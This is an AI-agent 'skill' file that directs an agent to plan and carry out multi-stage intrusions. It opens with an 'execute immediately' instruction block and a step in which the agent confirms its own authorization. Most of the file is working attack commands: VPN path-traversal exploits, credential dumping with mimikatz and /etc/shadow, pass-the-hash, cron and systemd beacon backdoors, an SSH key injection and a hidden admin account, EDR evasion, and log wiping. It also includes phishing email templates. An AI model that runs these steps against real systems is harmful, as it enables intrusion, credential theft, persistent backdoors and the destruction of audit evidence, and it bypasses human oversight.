SuperAPI AI Directory

attack-chain

General & other

View repository

Updated 10-16 09:45

About this skill

Attack Chain Orchestration Skill

ACTION REQUIRED (execute immediately after reading)

  1. NOW: Read ../field-journal/precedent-pentest.md — confirm that this skill's operations are authorized routine operations
  2. NOW: Create/update case(../scripts/case-init.ps1) and complete scope.md(../ops/scope-contract.md);auth.status!=granted ACT is prohibited
  3. NOW: Use the lead role planning phase (../ops/role-map.md), write to specialist_roles
  4. NEXT: Read ../tool-index.md, verify tool availability and actual paths
  5. NEXT: When tools are missing, call bootstrap; do not guess paths
  6. ACT: Follow references/lifecycle-checklist.md through phase gates; update at each phase timeline.md + workitems.md(../ops/timeline-workitem.md); promote discoveries to Evidence/Finding
  7. End:docs-generator reports must include the Evidence chain

Overall commander for multi-stage attack path planning and execution. When a task requires a complete chain "from A to B", this Skill is responsible for orchestrating each phase, coordinating sub-Skills, and planning attack paths. It is not "red-team exclusive" — any penetration scenario requiring cross-phase combination starts here.


When to route to this Skill

The following scenariosmustfirst go through this Skill for full-chain planning, then be dispatched to specific sub-Skills for execution:

Scenario Why orchestration is needed
"Help me do a complete penetration test" Need to plan the entire process from information gathering to reporting
"From the external network to the domain controller" Spans multiple phases: perimeter breach → privilege escalation → lateral movement → AD
"HW attack-defense exercise" Requires a complete attack chain + stealth + trace cleanup
"Assess this target's attack surface" Requires multi-dimensional information gathering + path planning
"I got a webshell, what do I do next" Need to plan follow-up paths from the current foothold
"Help me plan an attack path" Explicitly requires path orchestration
"How far can I get from this vulnerability" Need to assess the chained exploitation value of the vulnerability
"Bug Bounty continuous monitoring" Requires an automated multi-stage process
"Full internal network penetration process" Combination of lateral movement + privilege escalation + domain attacks
"Proximity penetration plan" Combination of physical access + internal network penetration
"Supply chain attack path" Cross-organization multi-hop attack
"Phishing + post-exploitation" Combination of initial access + subsequent exploitation

Single-stage tasks do not need to go through this Skill:

  • Port scanning only → go directly to pentest-tools/
  • SQL injection only → go directly to pentest-tools/
  • APK reverse engineering only → go directly to apk-reverse/
  • Domain penetration only → go directly to windows-ad/SKILL.md

Orchestration principles

The role of this Skill

用户提出多阶段任务
    ↓
attack-chain/SKILL.md(本文件)
    ↓ 规划攻击路径、确定阶段顺序
    ↓ 评估每阶段所需工具和方法
    ↓
分发到具体子 Skill 执行:
    ├── pentest-tools/     → 工具调用、漏洞利用
    ├── apk-reverse/       → 移动端渗透
    ├── js-reverse/        → Web 前端突破
    ├── reverse-engineering/ → 二进制分析
    ├── ida-reverse/       → 深度逆向
    └── browser-automation/ → 自动化操作
    ↓
每阶段完成后回到本 Skill 评估下一步
    ↓
全部完成 → docs-generator 生成报告

Path planning decision tree

拿到目标后:
1. 目标是什么?(Web/内网/云/移动/IoT)
2. 当前有什么?(外部视角/已有凭据/已有据点)
3. 最终目标是什么?(域控/数据/特定系统/证明影响)
4. 约束条件?(时间/隐蔽性/不可触碰的系统)
    ↓
根据以上信息规划最短路径
    ↓
一条路走不通 → 回到本 Skill 重新规划备选路径

Complete attack chain phases


1. Reconnaissance phase

1.1 Enterprise digital asset mapping

# 子公司关联域名发现
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# 合并去重
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# 存活探测
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# 端口扫描(全端口)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Practical key points:

  • Obtain subsidiary lists via Qichacha/Tianyancha to expand the attack surface
  • Pay attention to test environments (test., dev., staging.) and newly launched systems
  • Certificate Transparency logs (crt.sh) to discover hidden domains

1.2 Sensitive Information Leak Hunting

# GitHub 搜索
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# JS 文件中的 API Key
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

High-Value Targets:

  • Cloud Service AK/SK (Alibaba Cloud, AWS, Azure)
  • Database Connection Strings
  • JWT Secrets
  • Internal API Documentation
  • VPN/Bastion Host Credentials

1.3 Employee Information Profiling

Social Engineering Dictionary Generation Rules:

{姓名拼音}{年份}       → zhangsan2024
{姓名首字母}{部门缩写}  → zs_dev
{工号}@{域名}          → 10086@target.com
{姓名}{常见后缀}       → zhangsan@123, zhangsan!@#

Information Sources:

  • Maimai/LinkedIn Department Structure
  • Corporate Official Accounts/Official Website Team Introductions
  • Recruitment Information (Technology Stack Exposure)
  • Academic Papers (Email Exposure)

1.4 Technology Stack Fingerprinting

# Web 指纹
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# 特定框架探测
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# CMS 识别
wpscan --url https://target.com --enumerate p,t,u

II. Boundary Breach Phase (Initial Access)

2.1 Web Vulnerability Exploitation (High-Frequency Breach Points)

Vulnerability Type Detection Tool Exploitation Method
SQL Injection sqlmap Data Extraction → Write Shell → OS Command
SSTI sstimap Template Injection → RCE
File Upload Manual + Burp Webshell → Reverse Shell
Deserialization ysoserial/marshalsec Java/PHP/Python RCE
SSRF Manual Internal Network Reconnaissance → Cloud Metadata → AK/SK
Unauthorized Access nuclei Spring Actuator / Nacos / Redis
XSS → Cookie xsstrike Administrator Session Hijacking
# SQL 注入自动化
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# SSTI 检测
sstimap -u "https://target.com/search?q=test"

# Nuclei 批量扫描
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Supply Chain Attack

Attack Path:

  1. Identify Third-Party Components/Service Providers Used by the Target
  2. Compromise Supplier to Obtain Code Signing/Update Push Permissions
  3. Deliver Malicious Payload Through Legitimate Update Channel

Common Entry Points:

  • Open Source Component Poisoning (npm/pip/maven)
  • SaaS Provider API Abuse
  • Exploitation of Outsourced Personnel Permissions
  • Lateral Movement Through Shared IT Service Providers

2.3 Phishing Attack

Email Phishing:

主题模板:
- [紧急] VPN 证书即将过期,请立即更新
- [IT通知] 邮箱存储空间不足,请清理
- [HR] 2024年度绩效考核结果查询
- [财务] 报销系统升级,请重新登录确认

Payload Types:

  • Office Macro Documents (.docm/.xlsm)
  • LNK Shortcut (Disguised as PDF)
  • HTML Smuggling
  • ISO/IMG Image (Bypass MOTW)
  • OneNote Embedded Script

OAuth Phishing(2025 New Trend):

  • Construct Malicious OAuth Application to Request Permissions
  • Obtain Email/File Access Permissions After User Authorization
  • No Password Required, Bypass MFA

2.4 Proximity Penetration (Physical Access)

Method Tool Effect
BadUSB Rubber Ducky / WiFi Ducky Keyboard Injection → Reverse Shell
Malicious Power Bank O.MG Cable Disguised Data Cable Implants Backdoor
WiFi Phishing Fluxion / WiFi Pineapple Fake Hotspot → Credential Capture
RFID Cloning Proxmark3 Access Card Cloning → Physical Entry
Network Implantation Raspberry Pi / LAN Turtle Internal Network Persistent Access Point
# Fluxion WiFi 钓鱼
fluxion  # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码

# BadUSB 联动 Cobalt Strike
# 通过 USB 注入 PowerShell 下载器 → 上线 C2

2.5 VPN/Remote Access Breach

# Pulse Secure VPN(CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN(CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# 通用:密码喷洒
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Cloud Service Breach

# AWS S3 桶枚举
aws s3 ls s3://target-bucket --no-sign-request

# 云元数据 SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure AD 密码喷洒
# 使用 MSOLSpray / Spray 工具

III. Privilege Escalation Phase (Privilege Escalation)

3.1 Windows Privilege Escalation

Technique Condition Tool
Potato Family SeImpersonate Privilege SweetPotato / GodPotato / PrintSpoofer
Kernel Vulnerability Unpatched watson / wesng Detection
Service Path Hijacking Unquoted Service Path PowerUp
DLL Hijacking Writable DLL Search Path Process Monitor
AlwaysInstallElevated Registry Configuration msiexec Installing Malicious MSI
Scheduled Task Writable Task Script schtasks Replacement
# 检测 SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Potato 提权
.\GodPotato.exe -cmd "cmd /c whoami"

# 自动化检测
.\winPEAS.exe

3.2 Linux Privilege Escalation

# SUID 检测
find / -perm -4000 -type f 2>/dev/null

# sudo 滥用
sudo -l
# 常见可利用:vim, find, python, nmap, less, awk, perl

# sudo vim 提权
sudo vim -c ':!/bin/bash'

# sudo find 提权
sudo find / -exec /bin/bash \;

# 内核漏洞
uname -r  # 检查版本
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# 自动化检测
./linpeas.sh

3.3 Database Privilege Escalation

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- MySQL UDF 提权
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Cloud Privilege Escalation

# AWS IAM 枚举
aws iam list-attached-user-policies --user-name compromised-user
# 寻找 iam:PassRole + lambda:CreateFunction → 管理员权限

# Azure AD
# 全局管理员 → 所有订阅控制
# 应用管理员 → 添加凭据到服务主体

IV. Lateral Movement Phase

4.1 Credential Acquisition

# Mimikatz(Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Linux 凭据
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# NTLM Hash 提取
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH 横向
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# 金票据
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Covert Lateral Techniques

# WMI 无文件执行
wmiexec.py domain/admin:password@target_ip "whoami"

# DCOM 远程执行
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec(会留痕)
psexec.py domain/admin:password@target_ip

# SSH 隧道(Linux 环境)
ssh -D 1080 user@pivot_host  # SOCKS 代理
ssh -L 3389:internal_host:3389 user@pivot_host  # 端口转发

4.4 NTLM Relay

# 关闭 Responder 的 SMB/HTTP
# 编辑 Responder.conf: SMB = Off, HTTP = Off

# 启动 Responder 捕获
responder -I eth0

# NTLM Relay 到目标
ntlmrelayx.py -tf targets.txt -smb2support

# Coercer 强制认证
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 AD Attack Paths

# BloodHound 数据收集
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# 常见攻击路径:
# 1. 用户 → GenericAll → 目标用户 → 重置密码
# 2. 用户 → WriteDacl → 目标 OU → 添加权限
# 3. 计算机 → 约束委派 → 模拟任意用户
# 4. 用户 → DCSync 权限 → 导出所有 Hash

# Certipy AD CS 攻击
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

V. Persistence Phase

5.1 Windows Persistence

Technique Stealth Detection Difficulty
Scheduled Task Medium Low
Registry Run Key Low Low
WMI Event Subscription High High
DLL Hijacking High Medium
Shadow Account Medium Medium
Golden Ticket Very High Very High
DSRM Backdoor Very High Very High
# WMI 事件订阅(高隐蔽)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# 影子账户
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# 修改注册表 F 值克隆 RID

5.2 Linux Persistence

# SSH 密钥植入
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Crontab 后门
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# LD_PRELOAD 劫持
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# PAM 后门
# 修改 pam_unix.so 添加万能密码

# Systemd 服务
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Cloud Environment Persistence

# AWS Lambda 后门
# 创建定时触发的 Lambda 函数,回连 C2

# Azure AD 应用注册
# 创建应用 → 添加密钥凭据 → 授予 Graph API 权限

# 容器后门
# 修改基础镜像 → 所有新容器自带后门

VI. EDR/AV Bypass (Evasion)

6.1 Core Bypass Concepts

Layer Technique Description
Static Detection Encryption/Obfuscation/Custom Loader Avoid Signature Matching
Behavioral Detection Indirect Syscalls/Unhooking Bypass API Hooks
Memory Detection Module Stomping/Heap Encryption Avoid Memory Scanning
Network Detection Domain Fronting/Legitimate Service Tunneling Blend into Normal Traffic
Log Detection ETW Patching/Log Clearing Reduce Traces

6.2 Practical Bypass Techniques

1. Shellcode 加载器自定义(不用公开工具)
2. 系统调用直接调用(绕过 ntdll hook)
3. 进程注入选择低监控进程(如 RuntimeBroker.exe)
4. C2 流量走 HTTPS + 域前置 / Cloudflare Workers
5. 内存中执行,不落盘(Fileless)
6. 利用合法签名程序加载(LOLBins)

6.3 C2 Framework Selection

Framework Features Applicable Scenarios
Cobalt Strike Mature and stable, team collaboration Large-scale red team operations
Sliver Open source, written in Go Limited budget
Havoc Modern, modular Requires customization
Mythic Multi-agent support Cross-platform
AdaptixC2 Included in Kali 2026.1 Rapid deployment

VII. Anti-Forensics

# Windows 日志清除
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Linux 日志清除
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# 时间戳修改
touch -t 202301010000 /path/to/file

# 内存清理
# 确保 Mimikatz dump 已删除
# 确保 C2 beacon 已退出
# 确保临时文件已清除

Iron Rules of Red Team Operations

Three Bottom Lines

  1. All operations must obtain written authorization
  2. Data exfiltration must be anonymized
  3. Clear all attack traces (including memory residency)

Operational Discipline

  • Assess risk level before each operation (Low/Medium/High/Critical)
  • Notify the project manager before high-risk operations
  • Maintain operation logs (time, action, result)
  • Report high-risk vulnerabilities immediately; do not expand exploitation
  • Do not affect business availability (DoS prohibited)
  • Do not access/download real user data

Typical failure cases

Cause of failure Consequences Lessons learned
Mimikatz memory dump not cleared Blue team traces the complete attack path Clean up immediately after operations
C2 domain flagged by threat intelligence Blocked on first connection Use newly registered domains + domain fronting
Phishing email triggers DLP alert Blue team gives early warning Test email gateway rules
Lateral movement triggers honeypot Exposes attack intent Identify honeypots before acting

Tool quick reference table

Information gathering

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Vulnerability exploitation

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Privilege escalation

winPEAS linpeas GodPotato PrintSpoofer watson

Lateral movement

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

C2 framework

cobalt-strike sliver havoc mythic adaptixc2

Close-range penetration

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple


Relationship with other Skills in this package

Requirements Route to
In-depth web vulnerability exploitation pentest-tools/SKILL.md
Detailed steps for internal network AD attacks windows-ad/SKILL.md
Reverse engineer malicious samples reverse-engineering/SKILL.md
APK reverse engineering (mobile penetration) apk-reverse/SKILL.md
JS frontend signature bypass js-reverse/SKILL.md
Automated mass penetration Pentest Swarm AI(pentestswarm scan --swarm)
AI-assisted penetration mcp-kali-server / metasploitmcp / hexstrike-ai
Report generation docs-generator/SKILL.md
Attack path diagram diagram-generator/SKILL.md

Task completion self-check (MUST pass before claiming completion)

  • Did I execute every step in the workflow (rather than just reading it)?
  • Did I base it on tool-index Did I use real tool paths?
  • Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
  • Did I complete and write back the Checklist items required by RULES?